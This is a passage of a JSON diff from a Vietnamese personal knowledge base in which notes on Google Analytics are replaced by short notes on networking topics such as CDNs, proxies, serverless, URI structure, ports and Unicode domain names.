tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b4" + "id": "ep" }, { - "Tiêu đề": "Chỉ cần dùng một measurement ID cho các subdomain", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Chỉ cần dùng một measurement ID cho các subdomain", + "Tiêu đề": "CDN tạo ra điểm truy cập gần nhất dựa vào vị trí địa lý của người dùng, để thời gian tải web không chịu ảnh hưởng bởi việc nó được đặt ở đâu", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/CDN tạo ra điểm truy cập gần nhất dựa vào vị trí địa lý của người dùng, để thời gian tải web không chịu ảnh hưởng bởi việc nó được đặt ở đâu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n[[❓Measurement ID của web data stream chính là Google tag ID]]\r\n[Subdomain Tracking with Google Analytics 4 (2023)](https://www.analyticsmania.com/post/subdomain-tracking-with-google-analytics-and-google-tag-manager/)\r\nNguồn:: ![How to Track Subdomains with Google Analytics 4 - YouTube](https://youtu.be/7laoCJcnqGk?si=16qA6p_DT_O7OtVT)", + "Toàn bộ nội dung": "![What\\_is\\_a\\_CDN.png](https://cdn.shopify.com/s/files/1/0070/7032/files/What_is_a_CDN.png?v=1677446022)\r\nNguồn:: [CDN là gì? Giải thích tường tận về Content Delivery Network](https://www.hostinger.vn/huong-dan/cdn-la-gi)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b5" + "id": "eq" }, { - "Tiêu đề": "Google Analytics dùng cookie để theo dõi hoạt động", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Google Analytics dùng cookie để theo dõi hoạt động", + "Tiêu đề": "Cloudflare đóng vai trò là một proxy và CDN", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Cloudflare đóng vai trò là một proxy và CDN", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Cookie là các tệp nhỏ được lưu trong trình duyệt]]\r\nMột Google Analytics Cookies thì có phần đầu của nó được gọi là phiên bản GA với dãy ký tự là GA1.1, hoặc GA1.2. Nó phụ thuộc vào mã đo lường Google Analytics mà bạn đang sử dụng là gì.\r\n\r\nPhần tiếp theo là những con số ngẫu nhiên. Phần cuối cùng được ngăn cách bởi một dấu “.” với phần số ngẫu nhiên. Nó có tên gọi là “first timestamp”. Nó cho biết thời điểm bạn truy cập trang web cụ thể lần đầu tiên là vào lúc nào. \r\n\r\nVà dãy số ngẫu nhiên và dãy “first timestamp” được gọi chung là ID khách hàng. Đó là một định danh duy nhất của người dùng.\r\n\r\n![](https://s3.ap-southeast-1.amazonaws.com/thcmedia.vn/wp-content/uploads/2021/09/25141332/GS1.1.1632493916.1.1.1632493991.0-1024x576.png) \r\n\r\nNguồn:: [Bạn Đã Nghe Đến Google Analytics Cookie?](https://thcmedia.vn/google-analytics-cookie/)\r\n", + "Toàn bộ nội dung": "[[Proxy làm trung gian để client lấy dữ liệu từ server]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-14T04:01:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b6" + "id": "er" }, { - "Tiêu đề": "Google Analytics", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Google Analytics", + "Tiêu đề": "CNAME là", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/CNAME là", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"⚡Hiểu biết sâu/Tiếp thị số/Web analytics/Google Analytics\" \r\nWHERE file.name!=this.file.name\r\n```\r\n\r\n[Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/)\r\n\r\n- [[Các organic branded traffic nên được xem như là direct traffic]] \r\n- [[Các URL dài có thể là organic traffic chứ không phải direct traffic]] \r\n\r\nCộng đồng hỏi đáp:\r\n- Tiếng Anh:\r\n\t- Discord: https://discord.gg/djsM2JfQaG\r\n\t- Reddit: \r\n- [Cộng Đồng Google Analytics 4 (GA4) - Việt Nam | Facebook](https://www.facebook.com/groups/578268814077720 \"Cộng Đồng Google Analytics 4 (GA4) - Việt Nam | Facebook\")\r\n\r\nSetup cross domain\r\n\r\n![Hướng dẫn sử dụng Google Analytics 4 (GA4) 2023 - Cách tạo tài khoản và cài đặt Google Analytic 4 - YouTube](https://www.youtube.com/watch?v=S2_IkFRieM0)\r\n![Tổng quan về Google Analytics\\_GA 101\\_Buổi 1 - YouTube](https://youtu.be/MkEqM_Sny8M)", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b7" + "id": "es" }, { - "Tiêu đề": "Nếu web có ít người sử dụng thì một số dữ liệu sẽ bị giấu đi để đảm bảo tính riêng tư cho người dùng", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Nếu web có ít người sử dụng thì một số dữ liệu sẽ bị giấu đi để đảm bảo tính riêng tư cho người dùng", + "Tiêu đề": "Cpanel là", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Cpanel là", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "For your reports to include Google-signals data you need a monthly average of 500 users per day per property.\r\nNguồn:: [[Google Support]], [[GA4] Activate Google signals for Google Analytics 4 properties - Analytics Help](https://support.google.com/analytics/answer/9445345?sjid=15541438504357375011-AP#zippy=%2Cin-this-article%2Ccross-platform-reporting)", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b8" + "id": "et" }, { - "Tiêu đề": "Các organic branded traffic nên được xem như là direct traffic", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Các organic branded traffic nên được xem như là direct traffic", + "Tiêu đề": "Edge là sự kết hợp giữa CDN và serverless", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Edge là sự kết hợp giữa CDN và serverless", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Organic search traffic bao gồm cả các branded traffic, tức là các traffic mà từ khóa mà người dùng sử dụng để tìm kiếm có chứa tên thương hiệu trong đó. Ví dụ brand ở đây là Wall Street English và thay vì tìm kiếm với từ khóa chung chung là _“học tiếng Anh”_ thì người dùng có thể tìm kiếm bằng từ khóa _“học tiếng Anh Wall Street English”_ và bấm vào kết quả tìm kiếm tự nhiên để vào website. Lúc này về mặt kỹ thuật, các traffic này vẫn là search traffic nhưng về mặt bản chất thì người dùng đã biết đến Wall Street English từ trước và họ tìm kiếm với mục đích là để đến website của brand này chứ không phải để tìm kiếm sự lựa chọn nữa. Và branded traffic thường có xu hướng gia tăng khi nhận diện thương hiệu của brand được gia tăng (thông qua các hoạt động quảng cáo, branding, PR) chứ không liên quan nhiều đến kết quả thứ hạng các từ khóa và hoạt động SEO. Một số khách hàng và công ty mà tôi đã có dịp tư vấn qua thì organic traffic của họ tăng trưởng đều đều nhưng sau khi kiểm tra lại thì thực chất phần tăng trưởng đó là branded traffic và phần này có khi chiếm tới 80% tổng số organic traffic. Lúc này thực chất, từ khóa duy nhất mà các công ty này đang rank có lẽ chỉ là tên thương hiệu của họ.\r\n\r\n# Giải pháp\r\n\r\nVì các lý do nêu trên, các branded traffic nên được xem như là direct traffic thì sẽ chính xác hơn về mặt ý nghĩa để đánh giá và phân tích. Trong Google Analytics nên thiết lập một segment để đo lường branded traffic và non-branded traffic riêng biệt để có đánh giá chính xác hơn về tình hình thực sự của organic traffic mà không bị ảnh hưởng bởi người dùng tìm kiếm về thương hiệu.\r\n\r\nCách thiết lập segment cho Branded Traffic: vào mục Organic Search trong Channels, phía trên cái graph sẽ có dòng Add Segment, bấm vào đó. Sau đó bấm New Segment, đặt tên là Branded Organic Traffic hay đại loại, trong bảng đó bấm vào Traffic Sources, khung medium chọn contains sau đó gõ vào “organic”. Sau đó trong phần Conditions bên dưới trong khung đầu tiên chọn “Keyword”, khung thứ hai chọn “contains” sau đó phần khung còn lại điền vào brand của mình. Nếu brand có nhiều cách gọi hoặc cách gõ thì tốt nhất nên nhập hết bao gồm cả typo, ví dụ “wall street english”, “wse”, “wallstreet english”, “wsenglish”. Sau đó bấm Save là xong.\r\n\r\n[![branded-organic-traffic.png](https://conversion.vn/wp-content/uploads/branded-organic-traffic.png)](https://conversion.vn/wp-content/uploads/branded-organic-traffic.png)\r\n\r\nNên thiết lập một segment để tracking traffic liên quan đến branded keywords. \r\n\r\nNguồn:: [[Bùi Quang Tinh Tú]], [Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/#Organic_Search)\r\n", + "Toàn bộ nội dung": "- [[Serverless là loại server tự khởi động mỗi lần có người truy cập thay vì luôn trực sẵn chờ người truy cập]] \r\n- [[CDN tạo ra điểm truy cập gần nhất dựa vào vị trí địa lý của người dùng, để thời gian tải web không chịu ảnh hưởng bởi việc nó được đặt ở đâu]]\r\n\r\n![[cdn-and-serverless.png]]\r\nNguồn:: [The Future of the Web is on the Edge](https://deno.com/blog/the-future-of-web-is-on-the-edge \"The Future of the Web is on the Edge\")", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T05:52:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b9" + "id": "eu" }, { - "Tiêu đề": "Các URL dài có thể là organic traffic chứ không phải direct traffic", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Các URL dài có thể là organic traffic chứ không phải direct traffic", + "Tiêu đề": "Proxy làm trung gian để client lấy dữ liệu từ server", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Proxy làm trung gian để client lấy dữ liệu từ server", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Google Analytics thường xác định visits thuộc về nguồn traffic nào dựa vào referrer, tuy nhiên vì một lý do nào đó mà referrer này lại bị mất dẫn đến việc các traffic đó sẽ bị xếp loại vào direct traffic. Vậy bao nhiêu organic traffic hiện đang bị tính vào direct traffic? Một nghiên cứu được tiến hành bởi Gene McKenna – Product Manager của Groupon đã cho thấy rằng có thể có tới [60% direct traffic của bạn hiện tại là organic](http://searchengineland.com/60-direct-traffic-actually-seo-195415). Con số đó có thể chỉ là trong trường hợp của Groupon, một trang deal / e-commerce, tùy theo tình trạng website của bạn như thế nào, số lượng organic traffic của bạn bị lẫn trong direct traffic có thể nằm trong khoản 20% – 80%.\r\n\r\n## Giải pháp\r\n\r\nKiểm tra trong phần direct traffic của report và chú ý tới các URLs dài, khó nhớ và khó có khả năng người dùng gõ trực tiếp vào trình duyệt hoặc bookmark, chúng nhiều khả năng không phải là direct traffic mà chính là organic traffic.\r\n\r\n[![long-tail-organic-traffic-trong-direct.png](https://conversion.vn/wp-content/uploads/long-tail-organic-traffic-trong-direct.png)](https://conversion.vn/wp-content/uploads/long-tail-organic-traffic-trong-direct.png)\r\n\r\nCó thể chúng là organic traffic, chứ không phải direct traffic.\r\n\r\nNguồn:: [[Bùi Quang Tinh Tú]], [Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/#Organic_Search)\r\n", + "Toàn bộ nội dung": "[[Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình]]\r\n![[Proxy ẩn danh.png]]![[Proxy không ẩn danh 1.png]]\r\n[Chỉnh sửa ảnh](https://excalidraw.com/#room=ec7cc710214023c06b29,qx0qBHz9z0NRygjLrrTetQ)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T06:05:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bA" + "id": "ev" }, { - "Tiêu đề": "GA xem zalo, wordpress, stackexchange là social", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/GA xem zalo, wordpress, stackexchange là social", + "Tiêu đề": "Reverse proxy chủ yếu bảo vệ server. Forward proxy chủ yếu bảo vệ client", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Reverse proxy chủ yếu bảo vệ server. Forward proxy chủ yếu bảo vệ client", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [GA4 Source Categories - Sheet1.pdf](https://storage.googleapis.com/support-kms-prod/qn1xhBu8MVcZPIZ2WZMNdI40FtZXFPGYxj2K)\r\n", + "Toàn bộ nội dung": "[[Proxy làm trung gian để client lấy dữ liệu từ server]]\r\n[[Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình]]\r\nNguồn:: [Proxy server - Wikipedia](https://en.wikipedia.org/wiki/Proxy_server)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-26T07:59:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bB" + "id": "ew" }, { - "Tiêu đề": "Nếu medium không có gì đặc biệt thì cứ để trống để google tự phân loại", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Nếu medium không có gì đặc biệt thì cứ để trống để google tự phân loại", + "Tiêu đề": "Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n[[❓Measurement ID của web data stream chính là Google tag ID]]\r\n[Subdomain Tracking with Google Analytics 4 (2023)](https://www.analyticsmania.com/post/subdomain-tracking-with-google-analytics-and-google-tag-manager/)\r\nNguồn:: ![How to Track Subdomains with Google Analytics 4 - YouTube](https://youtu.be/7laoCJcnqGk?si=16qA6p_DT_O7OtVT)", + "Toàn bộ nội dung": "TCP chỉ là một trong những cách để truyền dữ liệu phổ biến. [Giao tiếp giữa các process (Inter-process communication (IPC))](https://stream-hub.com/ipc-la-gi/ \"IPC là gì và cách định thời multi process\") cũng là một cách khác\r\nNguồn:: ![What is a Server? (Deepdive) - YouTube](https://www.youtube.com/watch?v=VXmvM2QtuMU&t=1s)\r\n\r\n[[Giao thức là cách để các bên nhận và gửi dữ liệu hiểu nhau]]\r\n[[Request là thứ client gửi cho server. Response là thứ server gửi cho client]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-26T06:41:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bC" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T06:05:00.000Z", + "id": "ex" }, { - "Tiêu đề": "Referral channel group bao gồm organic social trong đó", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Referral channel group bao gồm organic social trong đó", + "Tiêu đề": "Serverless là loại server tự khởi động mỗi lần có người truy cập thay vì luôn trực sẵn chờ người truy cập", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Serverless là loại server tự khởi động mỗi lần có người truy cập thay vì luôn trực sẵn chờ người truy cập", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Organic social channel group chỉ bao gồm các mạng xã hội được liệt kê sẵn hoặc có medium là `social`\r\n- Referral medium là nguồn đến từ website khác, bao gồm các trang mạng xã hội\r\n- Referral channel group bao gồm các referral medium, nên cũng sẽ bao gồm các trang mạng xã hội\r\n\r\nNguồn:: [[GA4] User acquisition report - Computer - Analytics Help](https://support.google.com/analytics/answer/12922540?hl=en&ref_topic=13818299&sjid=6576622176796106484-AP#zippy=%2Ci-only-see-direct-traffic-what-is-direct-traffic-in-google-analytics), [[GA4] Default channel group - Analytics Help](https://support.google.com/analytics/answer/9756891?hl=en#list)\r\n[[Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn]]", + "Toàn bộ nội dung": "Nguồn:: [The Future of the Web is on the Edge](https://deno.com/blog/the-future-of-web-is-on-the-edge \"The Future of the Web is on the Edge\")\r\n[Một bài viết chi tiết hơn về Serverless](https://2coffee.dev/bai-viet/mot-bai-viet-chi-tiet-hon-ve-serverless)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-26T07:59:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bD" + "id": "ey" }, { - "Tiêu đề": "Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn", + "Tiêu đề": "127.0.0.1 và localhost là một", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/127.0.0.1 và localhost là một", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Referral channel group bao gồm organic social trong đó]]\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Con số 127.0.0.1 được thể hiện cụ thể là: \r\n- 127 là số cuối cùng của mạng lớp A có Mặt nạ mạng con có giá trị 255.0.0.0 .\r\n- 127.0.0.1 là địa chỉ có thể gán đầu tiên trong mạng con vì không thể sử dụng 127.0.0.0.\r\n\r\nTóm lại 127.0.0.1 là địa chỉ nội bộ của máy tính cho mạng IPv4, là địa chỉ mạng bên trong của chính máy tính. Nếu bạn cài đặt một dịch vụ mạng trên máy tính của mình, như hệ thống máy chủ web, thì địa chỉ nội bộ luôn là 127.0.0.1.\r\n\r\nNguồn:: [Điều khác biệt giữa 127.0.0.1 và Localhost là gì? - TOTOLINK Việt Nam](https://www.totolink.vn/article/170-dieu-khac-biet-giua-127-0-0-1-va-localhost-la-gi.html)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T06:12:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bE" + "id": "ez" }, { - "Tiêu đề": "Google Marketing Platform", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Marketing Platform", + "Tiêu đề": "Mọi URL đều là URI", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/Mọi URL đều là URI", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "```\r\n userinfo host port\r\n ┌──┴───┐ ┌──────┴──────┐ ┌┴─┐\r\n https://john.doe@www.example.com:1234/forum/questions/?tag=networking&order=newest#top\r\n └─┬─┘ └─────────────┬─────────────┘└───────┬───────┘ └────────────┬────────────┘ └┬┘\r\n scheme authority path query fragment\r\n userinfo host port\r\n ┌──┴───┐ ┌──────┴──────┐ ┌┴─┐\r\n https://john.doe@www.example.com:1234/forum/questions/?tag=networking&order=newest#:~:text=whatever\r\n └─┬─┘ └─────────────┬─────────────┘└───────┬───────┘ └────────────┬────────────┘ └───────┬───────┘\r\n scheme authority path query fragment\r\n\r\n ldap://[2001:db8::7]/c=GB?objectClass?one\r\n └┬─┘ └─────┬─────┘└─┬─┘ └──────┬──────┘\r\n scheme authority path query\r\n\r\n mailto:John.Doe@example.com\r\n └─┬──┘ └────┬─────────────┘\r\n scheme path\r\n\r\n news:comp.infosystems.www.servers.unix\r\n └┬─┘ └─────────────┬─────────────────┘\r\n scheme path\r\n\r\n tel:+1-816-555-1212\r\n └┬┘ └──────┬──────┘\r\n scheme path\r\n\r\n telnet://192.0.2.16:80/\r\n └─┬──┘ └─────┬─────┘│\r\n scheme authority path\r\n\r\n urn:oasis:names:specification:docbook:dtd:xml:4.1.2\r\n └┬┘ └──────────────────────┬──────────────────────┘\r\n scheme path\r\n```\r\nNguồn:: [Uniform Resource Identifier - Wikipedia](https://en.wikipedia.org/wiki/Uniform_Resource_Identifier)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bF" + "id": "e-" }, { - "Tiêu đề": "Google Search Console chỉ lưu dữ liệu trong 16 tháng", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Search Console chỉ lưu dữ liệu trong 16 tháng", + "Tiêu đề": "Origin là sự kết hợp của protocol, hostname và port", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/Origin là sự kết hợp của protocol, hostname và port", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Fetching Title#98hp](https://support.google.com/analytics/answer/10737381)", + "Toàn bộ nội dung": "![[origin.png]]\r\nNguồn:: [[MDN]], [Location - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Location)\r\n[[Giao thức là cách để các bên nhận và gửi dữ liệu hiểu nhau]]\r\n[[Port là số hiệu của chương trình cụ thể được nhận gói tin]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bG" + "Ngày cập nhật": "2024-09-09T06:05:00.000Z", + "id": "e_" }, { - "Tiêu đề": "Google Search Console dùng để biết thiên hạ đang google web mình thế nào", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Search Console dùng để biết thiên hạ đang google web mình thế nào", + "Tiêu đề": "Port là số hiệu của chương trình cụ thể được nhận gói tin", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/Port là số hiệu của chương trình cụ thể được nhận gói tin", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Google Search Console chỉ lưu dữ liệu trong 16 tháng]] \r\nNguồn::", + "Toàn bộ nội dung": "Nguồn:: ![Computer Networking (Deepdive) - YouTube](https://youtu.be/6G14NrjekLQ?si=AjtXaTmaV0pMQFIu)\r\n![What is a Protocol? (Deepdive) - YouTube](https://www.youtube.com/watch?v=d-zn-wv4Di8)\r\n\r\nDefine on which Port Advanced Slides should run. The default Port is `3000`. Changing the port can be useful if you operate multiple vaults and both have Advanced Slides plugin installed.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "bH" + "id": "f0" }, { - "Tiêu đề": "App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination", + "Tiêu đề": "Tên miền có thể có dấu hoặc emoji được", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/Tên miền có thể có dấu hoặc emoji được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: Việc theo dõi hành vi người dùng trên đt và trên web đòi hỏi kỹ thuật khác nhau\r\nNguồn:: ", + "Toàn bộ nội dung": "Tên miền mà cũng có thể có dấu ư? Nói thiệt là cái này nhiều người hỏi lắm. Nhiều người chắc vẫn nghĩ là tên miền thì bắt buộc phải là không dấu. Nhưng tên miền có dấu (hay nói chính xác hơn là tên miền có ký tự Unicode) đã được triển khai từ năm 2010 rồi. Thậm chí emoji còn có thể dùng cho tên miền được luôn. Có hẳn một trang web thống kê các tên miền dùng emoji trong tên miền luôn: [i❤️.ws](https://xn--i-7iq.ws/)\n\nCòn tại sao website này dùng tên miền có dấu? Lý do đơn giản là vì đọc chữ có dấu vẫn thích hơn chữ không dấu chứ. Nó cũng giống như việc ai cũng nói được tiếng Anh cả, nhưng được nói tiếng Việt là một điều sung sướng vậy. Việc dùng nó cũng có ưu điểm là tạo được ấn tượng ban đầu mạnh (chắc là với nhiều người đây là lần đầu tiên họ biết là tên miền cũng có thể có dấu). Và miễn là bài viết có chất lượng thì những nhược điểm của nó sẽ thành không quá lớn.\n\n## Nhược điểm của tên miền có dấu\n- Khó gõ\n- Nhìn link punnycode trông quái dị, có khi còn giống spam hơn\n- Rắc rối kỹ thuật\n\n### Khó gõ\nQuả đúng là muốn gõ ra đúng Quảcầu.com với bàn phím telex thì cũng hơi rắc rối. Phải gõ \"quả cầu.com\" có dấu cách xong quay lại xóa dấu cách. Với những ai dùng bàn phím điện thoại thì mất công hơn.\n\nCách khắc phục:\n\n- Google \"quả cầu.com\" rồi click vào link.\n- Trên máy tính thì có thể gõ dấu cách rồi quay lại xoá dấu cách, hoặc bấm ctrl + → sau mỗi chữ để ngắt hẳn việc bỏ dấu trước khi qua chữ mới\n- Tạo một tên miền không dấu rồi chuyển hướng sang tên miền chính. Ví dụ như bạn có thể vào quacau.space/home để vào Quảcầu.com.\n\nNhưng thực ra bây giờ chủ yếu lượt truy cập là thông qua chia sẻ trên Facebook chứ cũng ít ai gõ trực tiếp. Nếu ai phải gõ trực tiếp thì họ cũng đã có đủ động lực để vào rồi. Hơn nữa, sau khi đã truy cập được một lần rồi thì thì địa chỉ sẽ được lưu trong lịch sử trình duyệt và sẽ tự động được gợi ý lại sau khi nhập hai ký tự đầu.\n\n### Nhìn link punnycode trông quái dị, có khi còn giống spam hơn\nKhi chia sẻ trên Facebook, tên miền thay vì hiện là Quảcầu.com sẽ hiện là xn--qucu-hr5aza.com (với Google thì tên miền vẫn hiển thị đúng, không thành vấn đề). Lý do Facebook không hiển thị đúng tên miền là vì vấn đề an toàn. Do có những ký tự ở các bảng chữ cái khác nhau khá giống nhau, nên hacker có thể lợi dụng điều này để làm website giả mạo. Ví dụ như chữ ι (iota) trong bảng chữ cái Hy Lạp khá giống chữ i, chữ ο (omicron) thì giống y chang chữ o, chữ  ν (nu) thì giống y chang chữ v, nên nếu đọc không kỹ có thể bấm vào. Bạn nào quan tâm thì có thể đọc về [IDN homograph attack](https://en.wikipedia.org/wiki/IDN_homograph_attack).\n\nCách khắc phục: cũng là tạo tên miền không dấu rồi chuyển hướng sang tên miền chính.\n\n### Rắc rối kỹ thuật\nVẫn còn những chỗ không hỗ trợ triệt để ký tự có dấu. Cái này thì đúng là chịu. Nhưng kỹ thuật được sinh ra là để phục vụ người dùng, nếu có thể hy sinh thêm một tí 